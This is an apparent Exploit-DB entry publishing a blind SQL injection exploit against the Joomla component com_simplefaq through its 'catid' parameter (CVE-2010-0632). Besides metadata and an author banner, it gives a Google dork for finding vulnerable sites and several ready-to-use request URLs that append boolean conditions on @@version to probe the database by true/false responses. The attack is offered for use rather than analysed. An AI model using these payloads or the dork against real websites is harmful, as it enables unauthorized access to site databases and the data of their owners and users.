Joomla! Component com_simplefaq - 'catid' Blind SQL Injection

Author: AtT4CKxT3rR0r1ST
type: webapps
platform: php
port: 
date_added: 2010-01-29 
date_updated: 2017-01-17 
verified: 1 
codes: OSVDB-62341;CVE-2010-0632 
tags: 
aliases:  
screenshot_url:  
application_url: http://www.exploit-db.comcom_simplefaq.zip

Joomla Component com_simplefaq (catid) Blind Sql Injection Vulnerability
=========================================================================

###########################################
.:. Author : AtT4CKxT3rR0r1ST
.:. Team : Sec Attack Team
.:. Email : F.Hack@w.cn
.:. Home : www.sec-attack.com/vb
.:. Script : Joomla Component com_simplefaq
.:. Script Download: http://www.parkviewconsultants.com/component/option,com_mosipn/page,free/
.:. Bug Type : Blind Sql Injection
.:. Dork : inurl:"com_simplefaq"
#############################################

===[ Exploit ]===

www.site.com/index.php?option=com_simplefaq&func=display&Itemid=49&catid=70[Blind Injection]&page=1#FAQ5

www.site.com/index.php?option=com_simplefaq&func=display&Itemid=49&catid=70+and substring(@@version,1,1)=5&page=1#FAQ5 >>>> True

www.site.com/index.php?option=com_simplefaq&func=display&Itemid=49&catid=70+and substring(@@version,1,1)=4&page=1#FAQ5 >>>> False


===[ Example ]===

http://server/index.php?option=com_simplefaq&func=display&Itemid=49&catid=70+and substring(@@version,1,1)=5&page=1#FAQ5 >>>> True

http://server/index.php?option=com_simplefaq&func=display&Itemid=49&catid=70+and substring(@@version,1,1)=4&page=1#FAQ5 >>>> False

#############################################

Greats T0: HackxBack & Zero Cold & All My Friend & All Member Sec Attack